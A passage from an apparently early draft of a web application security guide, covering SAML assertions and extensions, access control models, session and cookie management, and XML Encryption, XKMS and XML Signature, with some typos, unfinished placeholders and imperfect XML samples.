site accepts the returned assertion, the user is allowed access to the resource.

When the POST profile is being used, the inter-site URL returns an HTML page to the browser that contains a SAML assertion. The page with the SAML assertion is then posted (by JavaScript) to the destination site assertion consumer URL. Here is an example:

```
<HTML><Body Onload="document.forms[0].submit()">
<FORM Method="Post" Action="<assertion consumer host name and path>" ...>
<INPUT TYPE="hidden" NAME="SAMLResponse" Value="B64(<response>)">
...
<INPUT TYPE="hidden" NAME="TARGET" Value="<Target>">
</Body></HTML>
```

The destination site receives the Assertion and resource name and then allows or denies access to the destination site resource.

There are two different names for the same resource (Target and TARGET). Target is the source site's name for the remote resource. TARGET is the destination site's name for their local resource. This is done to isolate changes in one company's environment from the other. If the destination site decides to rearrange it web pages and resources, I don't have to change any code because all of my code references the local name. I just have to change the remote name that my local name is mapped to.

If your security requirements do not exactly fit within the standard SAML XML elements, you can extend SAML.

Extending SAML elements

There are two ways to extend SAML elements. The first is direct extension using the xsi:type attribute. The second way is through substitution groups. Depending on your XML instance requirements you will pick either option.

Direct Extension

You use direct extension when you do not want to change the physical names of the XML elements within the SAML schema and only want to add additional elements or restrict existing sub elements value ranges. Here is an example how you could define your own XML schema that extends the saml:StatementAbstractType:

```
<element name="AxiomaticKeyStatement" type="yourPrefix:AxiomaticKeyStatementType"/>
<complexType name="AxiomaticKeyStatementType">
<complexContent>
<extension base="saml: StatementAbstractType">
<sequence>
<element ref="yourPrefix:AxiomaticKey"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

Here is an actual instance of your custom extended AxiomaticKeyStatement.

```
<saml:Assertion ...>
<saml:Statement xsi:type="yourPrefix:AxiomaticKeyStatement">
<yourPrefix:AxiomaticKey>
<ds:KeyInfo>
<ds:KeyName>MasterKey</ds:KeyName>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>998/T2PUN8HQlnhf9YIKdMHHGM7HkJwA56UD0a1oYq7EfdxSXAidruAsz
NqBoOqfarJIsfcVKLob1hGnQ/l6xw==</ds:Modulus>
```

```
<ds:Exponent>AQAB</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</yourPrefix:AxiomaticKey>
</saml:Statement>
</saml:Assertion>
```

Notice that we extended from the base type of Statement and not from Statement directly. The xsi:type attribute is mandatory when we extend in this manner. We are still using the saml:Statement element but we have added additional elements within it. The other way we can extend SAML is through substitution groups.

Substitution Groups

Substitution groups allow you to create your own named elements and use them in place of existing SAML elements. Reusing the example from above:

```
<element name="AxiomaticKeyStatement" type="yourPrefix:AxiomaticKeyStatementType"
substitutionGroup="saml:Statement"/>
<complexType name="AxiomaticKeyStatementType">
<complexContent>
<extension base="saml: StatementAbstractType">
<sequence>
<element ref="yourPrefix:AxiomaticKey"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

Here is an actual instance of your custom extended AxiomaticKeyStatement using substitution groups.

```
<saml:Assertion ...>
<yourPrefix:AxiomaticKeyStatement>
<yourPrefix:AxiomaticKey>
<ds:KeyInfo>
<ds:KeyName>MasterKey</ds:KeyName>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>998/T2PUN8HQlnhf9YIKdMHHGM7HkJwA56UD0a1oYq7EfdxSXAidruAsz
NqBoOqfarJIsfcVKLob1hGnQ/l6xw==</ds:Modulus>
<ds:Exponent>AQAB</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</yourPrefix:AxiomaticKey>
</yourPrefix:AxiomaticKeyStatement>
</saml:Assertion>
```

Although either method is semantically correct. Direct extension is the preferred methods because it introduces less of a dependency on the external custom schema and works with most schema validators. Although it is possible to extend any SAML element using XML Schema's extension mechanism SAML defines several explicit extension points.

Where you can extend the SAML schema

- Statement

  The type it is based on is abstract and empty. You will extend from this element's type when you want to create your own type of Statement, which does not resemble any of SAML's Statement subtypes.

- SubjectStatement

  The type it is based on is abstract and has a Subject nested element.
- Condition

  The type it is based on is abstract and empty. Again you will extend from this element's type when you want to create your own type of Condition, which does not resemble any of SAML's Condition subtypes. Conditions can be extended to contain additional Condition subtypes. But if the party receiving an assertion cannot understand your custom Condition subtype then they will have to consider the assertion Indeterminate.
- Query

  The type it is based on is abstract and empty. You will extend from this element's type when you want to create your own Query type, which does not resemble any of SAML's Query subtypes.
- SubjectQuery

  The type it is based on is abstract and has a Subject nested element. You will extend this element's type when you want to create your own Query type and reuse the nested saml:Subject element.

If you need to add additional attributes or nested elements within the following elements they are feasible extension points as well.

- AuthenticationStatement
- AttributeStatement
- AuthorizationDecisionStatement
- AudienceRestrictionCondition
- Request
- AuthenticationQuery
- AuthorizationDecisionQuery
- AttributeQuery
- Response

The following elements have <any> elements within them or are of type "anyType" and therefore can serve as extension points without requiring external XML schema definition.

```
AttributeValue     (type="anyType")
Advice             (has nested element <any namespace="##other" processContents="lax" />)
```

The Assertion and Statement types can be extended to create customized Assertion and Statement types but this can break interoperability. The major drawback to creating your own extension is interoperability. Make sure you understand the outcome if any of the interacting parties do not understand your custom extensions.

Assertions are usually signed to prove that the Assertion generated came from the entity that signed the Assertion.

Using Digital Signatures with SAML:

XML Signature (XS) provides integrity and authentication for XML elements within a document. XS ensures certain parts of a XML document are unaltered and created by the party that signed the document. XS adds additional

complexity by requiring interacting parties to negotiate canonicalization methods, key sharing, XML transformations, and hashing algorithms at the application level. In most cases, where the relying party and asserting party are communicating directly to each other, mutual authentication over SSL/TLS will provide authentication, integrity, confidentiality, and can form the basis for non-repudiation. In other cases, where intermediaries separate the relying and asserting parties XS becomes crucial.

Although any XML element within a SAML document could be signed, SAML only specifies 3 elements that should be signed: samlp:Request, samlp:Response, and saml:Assertion. SAML specifies support of enveloped signatures. Enveloped signatures describe an XML layout where the ds:Signature element is "enveloped" by the XML document or element that it is signing. The ds:Signature element in a saml:Assertion element follows the saml:Advice element.

```
<element name = "Assertion" type = "saml:AssertionAbstractType"/>
<complexType name = "AssertionAbstractType" abstract = "true">
<sequence>
<element ref = "saml:Conditions" minOccurs = "0"/>
<element ref = "saml:Advice" minOccurs = "0"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</sequence>
<attribute name = "MajorVersion" use = "required" type = "integer"/>
<attribute name = "MinorVersion" use = "required" type = "integer"/>
<attribute name = "AssertionID" use = "required" type = "saml:IDType"/>
<attribute name = "Issuer" use = "required" type = "string"/>
<attribute name = "IssueInstant" use = "required" type = "timeInstant"/>
</complexType>
```

ds:Signature signs. (For details on the ds:Signature element refer to the Digital Signature section of the XML Security Chapter). Signing a samlp:Request or samlp:Response works in a similar fashion.

```
<complexType name="RequestAbstractType" abstract="true">
<attribute name="RequestID" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</complexType>

<complexType name="ResponseAbstractType" abstract="true">
<attribute name="ResponseID" type="saml:IDType" use="required"/>
<attribute name="InResponseTo" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</complexType>
```

In both cases, the ds:Signature signs the samlp:Request or samlp:Response that envelops it. In some cases a super signature can implicitly sign SAML elements. A super signature is a ds:Signature that signs a XML element which envelops all mandatory elements within a saml:Assertion, samlp:Request or samlp:Response. For example, if a samlp:Request was being transported within a SOAP-ENV:Body and that SOAP- ENV:Body element was signed then the samlp:Request inherits its signature from the super-signature on the SOAP-ENV:Body element. If a saml:Assertion needs to be sent to a relying party through an intermediary than it cannot use a super-signature and has to use the signing methods defined above.

Securing SAML

The best way to secure SAML interactions is to ensure confidentiality, integrity, and mutual authentication between every interacting party of a SAML transaction--weather the party is an end point or intermediary. This implies the use of a secure transport protocol such as IPSec, SSH, SSL, or TLS between all interacting parties. Exposing signed (using XML Signature) and encrypted (using XML Encryption) SAML assertions over non- secure protocols such as HTTP allows for replay and denial of service attacks. XML Signature is still required in cases where the assertion

generated flows through an intermediary. The XML Signature on the Assertion guarantees that the Assertion is from the originator (signer) not intermediary. In this case where you are using a secure transport protocol such as SSL, XMLEncryption only provides value when you don't want to share Assertion contents with intermediaries. When you are using both XML Signature and XML Encryption together you should first sign and then encrypt the assertion being passed. This hides the identity of the signer and its key. In addition, you will want to use a CBC (cipher block chained) or stream encryption algorithm to protect against certain attacks as outlined in The Order of Encryption and Authentication for Protecting Communications by Hugo Krawczyk. For more information on XML Encryption check out the chapter on XML Encryption. In some cases assertions are long lived and need to be stored. In most cases they should never be stored on the local file system. Ideally, long-lived assertions should be encrypted (by the database) and stored in a (UTF8 character set encoding) database. UTF8 is the defacto-encoding standard for internationalization and XML vocabularies. To minimize the possibility of Replay attacks all members of a federated authentication system will need to generate assertions with expiration dates or sequence numbers. If expiration dates are used, all participating members will need to run Network Time Protocol (NTP) to ensure assertions are not still born.

Weakness of Federated Security Systems

Single sign-on between disparate systems involves giving up defense in depth and opening up your application to more points of attack. In most cases you have no control over the security policies that partner sites impose. Some partner sites might allow passwords that are easily guessed or might not require users to change their password often. In other cases, partner sites may not have good security practices in general. The probably of your site being compromised becomes the probability of the worst run site in your federation.

Summary

SAML is showing a lot of promise. It is the first time that all of the major vendors have come together to support a single standard for sharing security related information. There are still issues to resolve like how users are mapped to different systems. Luckily the SAML group is working on this for 2.0. I hope you have enjoyed the journey as much as I have.

Passport

Passport Stuf goes here.

Chapter 12. Access Control and Authorization

Access control mechanisms are a necessary and crucial design element to any application's security. In general, a web application should protect front-end and back-end data and system resources by implementing access control restrictions on what users can do, which resources they have access to, and what functions they are allowed to perform on the data. Ideally, an access control scheme should protect against the unauthorized viewing, modification, or copying of data. Additionally, access control mechanisms can also help limit malicious code execution, or unauthorized actions through an attacker exploiting infrastructure dependencies (DNS server, ACE server, etc.).

Authorization and Access Control are terms often mistakenly interchanged. Authorization is the act of checking to see if a user has the proper permission to access a particular file or perform a particular action, assuming that user has successfully authenticated himself. Authorization is very much credential focused and dependent on specific rules and access control lists preset by the web application administrator(s) or data owners. Typical authorization checks involve querying for membership in a particular user group, possession of a particular clearance, or looking for that user on a resource's approved access control list, akin to a bouncer at an exclusive nightclub. Any access control mechanism is clearly dependent on effective and forge-resistant authentication controls used for authorization.

Access Control refers to the much more general way of controlling access to web resources, including restrictions based on things like the time of day, the IP address of the HTTP client browser, the domain of the HTTP client browser, the type of encryption the HTTP client can support, number of times the user has authenticated that day, the possession of any number of types of hardware/software tokens, or any other derived variables that can be extracted or calculated easily.

Before choosing the access control mechanisms specific to your web application, several preparatory steps can help expedite and clarify the design process;

1. Try to quantify the relative value of information to be protected in terms of Confidentiality, Sensitivity, Classification, Privacy, and Integrity related to the organization as well as the individual users. Consider the worst case financial loss that unauthorized disclosure, modification, or denial of service of the information could cause. Designing elaborate and inconvenient access controls around unclassified or non-sensitive data can be counterproductive to the ultimate goal or purpose of the web application.
2. Determine the relative interaction that data owners and creators will have within the web application. Some applications may restrict any and all creation or ownership of data to anyone but the administrative or built-in system users. Are specific roles required to further codify the interactions between different types of users and administrators?
3. Specify the process for granting and revoking user access control rights on the system, whether it be a manual process, automatic upon registration or account creation, or through an administrative front-end tool.
4. Clearly delineate the types of role driven functions the application will support. Try to determine which specific user functions should be built into the web application (logging in, viewing their information, modifying their information, sending a help request, etc.) as well as administrative functions (changing passwords, viewing any users data, performing maintenance on the application, viewing transaction logs, etc.).
5. Try to align your access control mechanisms as closely as possible to your organization's security policy. Many things from the policy can map very well over to the implementation side of access control (acceptable time of day of certain data access, types of users allowed to see certain data or perform certain tasks, etc.). These types of mappings usually work the best with Role Based Access Control.

There are a plethora of accepted access control models in the information security realm. Many of these contain aspects that translate very well into the web application space, while others do not. A successful access control protection mechanism will likely combine aspects of each of the following models and should be applied not only to user management, but code and application integration of certain functions.

Discretionary Access Control

Discretionary Access Control (DAC) is a means of restricting access to information based on the identity of users and/or membership in certain groups. Access decisions are typically based on the authorizations granted to a user based on the credentials he presented at the time of authentication (user name, password, hardware/software token, etc.). In most typical DAC models, the owner of information or any resource is able to change its permissions at his discretion (thus the name). DAC has the drawback of the administrators not being able to centrally manage these permissions on files/information stored on the web server. A DAC access control model often exhibits one or more of the following attributes.

- Data Owners can transfer ownership of information to other users
- Data Owners can determine the type of access given to other users (read, write, copy, etc.)
- Repetitive authorization failures to access the same resource or object generates an alarm and/or restricts the user's access
- Special add-on or plug-in software required to apply to an HTTP client to prevent indiscriminant copying by users ("cutting and pasting" of information)
- Users who do not have access to information should not be able to determine its characteristics (file size, file name, directory path, etc.)
- Access to information is determined based on authorizations to access control lists based on user identifier and group membership.

Mandatory Access Control

Mandatory Access Control (MAC) ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. MAC secures information by assigning sensitivity labels on information and comparing this to the level of sensitivity a user is operating at. In general, MAC access control mechanisms are more secure than DAC yet have trade offs in performance and convenience to users. MAC mechanisms assign a security level to all information, assign a security clearance to each user, and ensure that all users only have access to that data for which they have a clearance. MAC is usually appropriate for extremely secure systems including multi-level secure military applications or mission critical data applications. A MAC access control model often exhibits one or more of the following attributes.

- Only administrators, not data owners, make changes to a resource's security label.
- All data is assigned security level that reflects its relative sensitivity, confidentiality, and protection value.
- All users can read from a lower classification than the one they are granted (A "secret" user can read an unclassified document).
- All users can write to a higher classification (A "secret" user can post information to a Top Secret resource).
- All users are given read/write access to objects only of the same classification (a "secret" user can only read/write to a secret document).
- Access is authorized or restricted to objects based on the time of day depending on the labeling on the resource and the user's credentials (driven by policy).
- Access is authorized or restricted to objects based on the security characteristics of the HTTP client (e.g. SSL bit length, version information, originating IP address or domain, etc.)

Role Based Access Control

In Role-Based Access Control (RBAC), access decisions are based on an individual's roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing the fundamental goals and structure of an organization and is usually linked to the security policy. For instance, in a medical organization, the different roles of users may include those such as doctor, nurse, attendant, nurse, patients, etc. Obviously, these members require different levels of access in order to perform their functions, but also the types of web transactions and their allowed context vary greatly depending on the security policy and any relevant regulations (HIPAA, Gramm-Leach-Bliley, etc.).

An RBAC access control framework should provide web application security administrators with the ability to determine who can perform what actions, when, from where, in what order, and in some cases under what relational circumstances. http://csrc.nist.gov/rbac/ provides some great resources for RBAC implementation. The following aspects exhibit RBAC attributes to an access control model.

- Roles are assigned based on organizational structure with emphasis on the organizational security policy
- Roles are assigned by the administrator based on relative relationships within the organization or user base. For instance, a manager would have certain authorized transactions over his employees. An administrator would have certain authorized transactions over his specific realm of duties (backup, account creation, etc.)
- Each role is designated a profile that includes all authorized commands, transactions, and allowable information access.
- Roles are granted permissions based on the principle of least privilege.
- Roles are determined with a separation of duties in mind so that a developer Role should not overlap a QA tester Role.
- Roles are activated statically and dynamically as appropriate to certain relational triggers (help desk queue, security alert, initiation of a new project, etc.)
- Roles can be only be transferred or delegated using strict sign-offs and procedures.
- Roles are managed centrally by a security administrator or project leader.

Chapter 13. Managing User Sessions

Mark Curphey

HTTP is a stateless protocol, meaning web servers respond to client requests without linking them to each other. Applying a state mechanism scheme allows a user's multiple requests to be associated with each other across a "session." Being able to separate and recognize users' actions to specific sessions is critical to web security. While the preferred cookie mechanism (RFC 2965) exists to build session management systems, it is up to a web designer / developer to implement a secure session management scheme. Mainy frameworks such as J2EE and .NET take care of much of the implementation for the developer and allow optional configuration at a code level or a server configuration.

Session management is by its nature closely tied to authentication. A user typically authenticates once and is then subsequently "authenticated" by the browser on each request. This is an act of user authentication and then entity authentication. For most state mechanism schemes, the entity authentication happens because a session token is created when the user performs user authentication which can then be transmitted between HTTP server and client. A session token is a string of data that is not predictable and offers enough entropy that it can not be computed for the life of the session. Session tokens are often stored in cookies, but also in static URLs, dynamically rewritten URLs, hidden in the HTML of a web page, or some combination of these methods.

Cookies

Love 'em or loath them, cookies are now a requisite for use of many online banking and e-commerce sites. Cookies were never designed to store usernames and passwords or any sensitive information. Being attenuated to this design decision is helpful in understanding how to use them correctly. Cookies were originally introduced by Netscape and are now specified in RFC 2965 (which supersedes RFC 2109), with RFC 2964 and BCP44 offering guidance on best practice. There are two categories of cookies, secure or non-secure and persistent or non-persistent, giving four individual cookies types.

- Persistent and Secure
- Persistent and Non-Secure
- Non-Persistenet and Secure
- Non-Persistent and Non-Secure

Persistent vs. Non-Persistent

Persistent cookies are stored in a text file (cookies.txt under Netscape and multiple *.txt files for Internet Explorer) on the client and are valid for as long as the expiry date is set for (see below). Non-Persistent cookies are stored in RAM on the client and are destroyed when the browser is closed or the cookie is explicitly killed by a log-off script.

Secure vs. Non-Secure

Secure cookies can only be sent over HTTPS (SSL). Non-Secure cookies can be sent over HTTPS or regular HTTP. The title of secure is somewhat misleading. It only provides transport security. Any data sent to the client should be considered under the total control of the end user, regardless of the transport mechanism in use.

How do Cookies work?

Cookies can be set using two main methods, HTTP headers and JavaScript. JavaScript is becoming a popular way to set and read cookies as some proxies will filter cookies set as part of an HTTP response header. Cookies enable a server and browser to pass information among themselves between sessions. Remembering HTTP is stateless, this may simply be between requests for documents in a same session or even when a user requests an image embedded

in a page. It is rather like a server stamping a client, and saying show this to me next time you come in. Cookies can not be shared (read or written) across DNS domains. In correct client operation Domain A can't read Domain B's cookies, but there have been many vulnerabilities in popular web clients which have allowed exactly this. Under HTTP the server responds to a request with an extra header. This header tells the client to add this information to the client's cookies file or store the information in RAM. After this, all requests to that URL from the browser will include the cookie information as an extra header in the request.

What's in a cookie?

As discussed the content of a cookie are at the descretion of the developer. A typical cookie used to store a session token (for owasp.org for example) looks much like:

Table 13.1. Structure Of A Cookie

Domain	Flag	Path	Secure	Expiration	Name	Value
www.owasp.org	FALSE	/	FALSE	1154029490	Apache	64.3.40.151.16018996349247480

The columns above illustrate the six parameters that can be stored in a cookie.

From left-to-right, here is what each field represents:

domain: The website domain that created and that can read the variable.

flag: A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.

path: The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/webprotocols. A pathname of " / " indicates that the cookie will be used for all URLs at the site from which the cookie originated.

secure: A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.

expiration: The Unix time that the variable will expire on. Unix time is defined as the number of seconds since 00:00:00 GMT on Jan 1, 1970. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.

name: The name of the variable (in this case Apache).

So the above cookie value of Apache equals 64.3.40.151.16018996349247480 and is set to expire on July 27, 2006, for the website domain at http://www.owasp.org.

The website sets the cookie in the user's browser in plaintext in the HTTP stream like this:

Set-Cookie: Apache="64.3.40.151.16018996349247480"; path="/"; domain="www.owasp.org"; path_spec; expires="2006-07-27 19:39:15Z"; version=0

All spec-compliant browsers must be capable of holding at least 4K of cookie data per host or domain.

All spec-compliant browsers must be capable of holding at least 20 distinct cookies per host or domain.

Session Tokens

Cryptographic Algorithms for Session Tokens

All session tokens (independent of the state mechanisms) should be user unique, non-predictable, and resistant to reverse engineering. A trusted source of randomness should be used to create the token (like a pseudo-random number generator, Yarrow, EGADS, etc.). Additionally, for more security, session tokens should be tied in some way to a specific HTTP client instance to prevent hijacking and replay attacks. Examples of mechanisms for enforcing this restriction may be the use of page tokens which are unique for any generated page and may be tied to session tokens on the server. In general, a session token algorithm should never be based on or use as variables any user personal information (user name, password, home address, etc.)

Appropriate Key Space

Even the cryptographically secure algorithms allows an active session token to be easily determined if the keyspace of the token is not sufficiently large. Attackers can essentially "grind" through most possibilities in the token's key space with automated brute force scripts. A token's key space should be sufficiently large enough to prevent these types of brute force attacks, keeping in mind that computation and bandwith capacity increases will make these numbers insufficeint over time.

Session Token Entropy

The session token should use the largest character set available to it. If a session token is made up of say 8 characters of 7 bits the effective key length is 56 bits. However if the character set is made up of only integers which can be represented in 4 bits giving a key space of only 32 bits. A good session token should use all the available character set including case sensitivity.

Session Management Schemes

A good session management scheme should consider the following.

Session Time-out

Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited if the particular session has not been expired on the HTTP server.

Regeneration of Session Tokens

To prevent Session Hijacking and Brute Force attacks from occurring to an active session, the HTTP server can seamlessly expire and regenerate tokens to give an attacker a smaller window of time for replay exploitation of each legitimate token. Token expiration can be performed based on number of requests or time.

Session Forging/Brute-Forcing Detection and/or Lockout

Many websites have prohibitions against unrestrained password guessing (e.g., it can temporarily lock the account or stop listening to the IP address), however an attacker can often try hundreds or thousands of session tokens embedded in a legitimate URL or cookie without a single complaint from the web site. Many intrusion-detection systems do not actively look for this type of attack; penetration tests also often overlook this weakness in web e-commerce systems. Designers can use "booby trapped" session tokens that never actually get assigned but will detect if an attacker is trying to brute force a range of tokens. Resulting actions can either ban originating IP address (all behind proxy will be affected) or lock out the account (potential DoS). Anomaly/misuse detection hooks can also be built in to detect if an authenticated user tries to manipulate their token to gain elevated privileges.

Session Re-Authentication

Critical user actions such as money transfer or significant purchase decisions should require the user to re-authenticate or be reissued another session token immediately prior to significant actions. This ensures user authenciation and not entity authentication when performing sensitive tasks. Developers can also somewhat segment data and user actions to the extent where re-authentication is required upon crossing certain "boundaries" to prevent some types of cross-site scripting attacks that exploit user accounts.

Session Token Transmission

If a session token is captured in transit through network interception, a web application account is then trivially prone to a replay or hijacking attack. Typical web encryption technologies include but are not limited to Secure Sockets Layer (SSLv2/v3) and Transport Layer Security (TLS v1) protocols in order to safeguard the state mechanism token.

Session Tokens on Logout

With the popularity of Internet Kiosks and shared computing environments on the rise, session tokens take on a new risk. A browser only destroys session cookies when the browser thread is torn down. Most Internet kiosks maintain the same browser thread. It is therefore a good idea to overwrite session cookies when the user logs out of the application.

Page Tokens

Page specific tokens or "nonces" may be used in conjunction with session specific tokens to provide a measure of authenticity when dealing with client requests. Used in conjunction with transport layer security mechanisms, page tokens can aide in ensuring that the client on the other end of the session is indeed the same client which requested the last page in a given session. Page tokens are often stored in cookies or query strings and should be completely random. It is possible to avoid sending session token information to the client entirely through the use of page tokens, by creating a mapping between them on the server side, this technique should further increase the difficulty in brute forcing session authentication tokens.

Chapter 14. XML and Web Services Security

Adrian Wiesmann

What it's all about

This chapter describes and dicusses standards for XML and Web Services security. It is not meant as a reference about Web Services, this is discussed in chapter 02. But we will look at XML Security Standards which can be used within Web Services. After each standard is described in detail, an example is presented to demonstrate how the standard can be used in the real world. The chapter concludes with a discussion of the common mistakes we see in implementing web services and XML security.

XML Security Standards

You may approach different security needs during design or implementation of Web Services. To meet these needs there are several XML Security Standards in various stages of completion. Some of these standards are discussed in this section. To get the full picture of every standards and it's purpose, every subsection contains an overview of the problem the standard seeks to address, discusses the technical details and then presents an example.

At the end we will looked at the standards in a more comparing manner to show the intended usage and possibilities of implementation together or all alone.

XML Encryption

With the standard of XML Encryption you have the possibility to generally encrypt data. This data will be represented as XML formatted text within an EncryptedData element. While the encrypted data may be included in the EncryptedData element in the document itself, it is also possible to save it externaly and use an URI in the document to identify the "external place" containing the encrypted data.

The EncryptedData element contains the following structure with the encryption information in the ds:KeyInfo node and the encrypted data in the CipherData node. The EncryptionProperties node may contain additional information concerning the generation of the nodes EncryptedData or EncryptedKey.

Such an EncryptedData element is of the following structure:

```
<EncryptedData ID Type MimeType Encoding>
        <EncryptionMethod/>
        <ds:KeyInfo>
        <CipherData>
        <EncryptionProperties/>
<EncryptedData/>
```

EncryptionMethod

The EncryptionMethod node can contain informations about the used algorithm and could be of the following value:

```
<EncryptionMethod Algorithm='http://www.w3.org/2001/04/xmlenc#tripledes-cbc'
```

which would define the used algorithm as a symmetric key cipher knwon as 3DES CBC.

ds:KeyInfo

This node is optional and may be used to transport public keys. It may contain the EncryptedKey element. It is important to note that EncryptedKey can also be used as a stand-alone XML document.

Within a ReferenceList one can store pointers to objects encrypted by that key.

CipherData

This node contains either a CipherValue or a CipherReference. If it contains a CipherValue, this means that the base64 encoded data is enclosed in the XML document itself. If it contains a CipherReference it has to provide a reference to an external location containing the encrypted octet sequence.

EncryptionProperties

This element is used for storing additional informations concerning the generation of the EncryptedData or EncryptedKey element. These informations can be data, time hardware number of processing hardware or anything of importance.

XML Encryption - Elements

Another element is named EncryptedKey and is quite similar to the EncryptedData element. Except the data it contains is the information about used keys.

The elements above, EncryptedType and EncryptedData, are derived from an abstract element. This abstract element is named EncryptedType and may contain the following attributes:

- ID

  Identifier identifying this element. This attribute is optional. It can help identify a single node when having multiple EncryptedData elements in one XML document.
- Type

  Optional argument defining the type of the replaced data. Will most probably be:

  ```
  Type='http://www.w3.org/2001/04/xmlenc#Element'
  ```

  If your replaced data was no element, it may be 'content' or something else, which can alternatively be identified with the MimeType attribute.
- MimeType

  The Mime Type describing the encoded data. Optional as well.
- Encoding

  This contains informations about the encoding and is optional.

Example of usage

The following example shows how an XML with credit card informations can be encrypted and the therefore the credit card informations be securely transmitted.

```
<?xml version='1.0'?>
  <OrderInfo xmlns='http://example.org/order'>
          <Name>Eric Doe</Name>
         <CreditCard Limit='2,000' Currency='EUR'>
                 <Number>4019 2445 0277 5567</Number>
                 <Issuer>Example Bank of Switzerland</Issuer>
                 <Expiration>04/04</Expiration>
         <CreditCard>
  </PaymentInfo>
```

While the version above contains all the informations in human readable format, the next version shows how things look after a complete encryption.

```
<?xml version='1.0'?>
  <EncryptedData xmlns='http://www.w3.org/2001/04/xmlenc#' MimeType='applica
          <CipherData>
                 <CipherValue>AI36H75SL03</CipherValue>
         <CypherData>
  </EncryptedData>
```

While this is the most "radical" method you may use, you also can encrypt some subnodes only. Say if your security policies allow you to encrypt the credit card number only, you may do so within the XML and encode only the Number node.

The following example will show alternatively how things look if only one single element is encrypted.

```
<?xml version='1.0'?>
  <OrderInfo xmlns='http://example.org/order'>
          <Name>Eric Doe</Name>
         <CreditCard Limit='2,000' Currency='EUR'>
                 <EncryptedData xmlns='http://www.w3.org/2001/04/xmlenc#'>
                          <CipherData>
                                  <CipherValue>DhU251DfSL</CipherValue>
                         <CypherData>
                  </EncryptedData>
                 <Issuer>Example Bank of Switzerland</Issuer>
                 <Expiration>04/04</Expiration>
         <CreditCard>
  </PaymentInfo>
```

XML Encryption is a powerful tool, but it does not take your responsibility for planning and defining security policies away. There are many ways to do things with XML encryption and your policy should define which one you are allowed to choose.

Further informations

The special mime type to declare the respective document as XML Encrypted is the following: application/xenc+xml.

Further Reading

Further informations can be found under the following links:

Definition by the W3C: http://www.w3.org/TR/xmlenc-core/

Introduction on IBM's Developerworks website:

http://www-106.ibm.com/developerworks/xml/library/x-encrypt/?dwzone=xml

Suns Digital Encryption API Website: http://jcp.org/en/jsr/detail?id=106

XML Key Management - XKMS

XKMS was invented to allow trusted web services. The specification defines therefore XML formated messages that let web services register key pairs, locate services to get keys for later use and validate informations concerning those keys. XKMS was designed to interact with XML Digital Signatures, to not require an underlying public key infrastructure (X.509) but to be compatible with such infrastructures.

In other words this means that XKMS is a framework which helps developers of Web Services use PKI for inter-application security. It does so defining three functions. With the Register service handles the key pair registration and handling. It is not defined if the generation of the key needs to be done client- or server-side. The Locate service helps find a digital signature which is handled and managed within a Register service. If you once get a key, you can use it to either proof a signature or for encryption. And with the third, the Validation service, it is possible to ensure that a registered key is valid and not revoked.

Further Reading

These links contain further informations concerning XKMS

Notes from the W3C http://www.w3.org/TR/xkms/

Informations from XML Trustcenter, which contains informations about XML and Public Crypto and which is sponsored by Verisign, Inc. http://www.xmltrustcenter.org/xkms/index.htm

XML Digital Signature - XML DigSig

XML signatures are meant to add authentication, data integrity and support for non-repudiation to the signed data. The main difference between other signature technologies and XML digital signatures is that it accounts specifically to XML formed data.

It is possible to sign only subtrees of the document without the need to sign the complete document. This may be used and be of advantage if one document can have different authors or a history which changes. So one party can prepare an XML document and sign its content, while the other party may add its response and sign that part later without having to change or modify the data they got in the first place.

Also other data not included in the original tree can be signed. To do so one has to declare a Reference element in the XML tree which will contain the DigestMode and DigestValue containing the Digital Signature of any resource reachable via its URI. To allow a verification of such a signature, there is also the possibility to enclose a KeyInfo element in the XML document. This KeyInfo element contains the keys subject and the certificate and key. This allows a verification of any signature in the XML document.

Example of usage

The following example will show how a detached signature looks like:

```
<Signature Id='DemoSignature' xmlns='http://www.w3.org/2000/09/xmlds
        <SignatureValue>wqer2Ue8hkiUEw8sl03</SignatureValue>
        <SignedInfo>
                <CanonicalizationMethod Algorithm="http://www.w3.o
                <SignatureMethod Algorithm="http://www.w3.org/2000
                <Reference URI="http://www.w3.org/TR/2000/REC-xhtm
```

```
                                        <Transforms>
                                                <Transform Algorithm="http://www.w3.
                                        </Transforms>
                                          <DigestMethod Algorithm="http://www.w3.org
                                         <DigestValue>sdKJH65gFg76JHvpmqs</DigestVal
                                </Reference>

                        </SignedInfo>

                        <KeyInfo>
                              <KeyValue>
                                        <DSAKeyValue></DSAKeyValue>
                              </KeyValue>
                        </KeyInfo>
                </Signature>
```

This demonstration consists of different elements. The signature element is the root node of any XML signature. It may contain an attribute named Id which contains a unifique identifier, identifying the respective signature, so it can be referenced in the signed XML.

The following elements are the most important ones in a XML signature and are described below.

SignatureValue

This node contains the actual value of the digital signature and is encoded with base64. It may also contain an Id attribute for a detailed reference.

SignedInfo

SignedInfo consists of 3 sub-element, all of which you can see in the example above. The one is the SignatureMethod which defines the algorithm used for signing the data. The other is the Reference element and the last one is the CanonicalizationMethod.

CanonicalizationMethod

CanonicalizationMethod is a required element that specifies the canonicalization algorithm applied to the SignedInfo element prior to performing signature calculations.

SignatureMethod

This element specifies the algorithm used for the signing process and will be needed for the validation of the signature too.

Reference
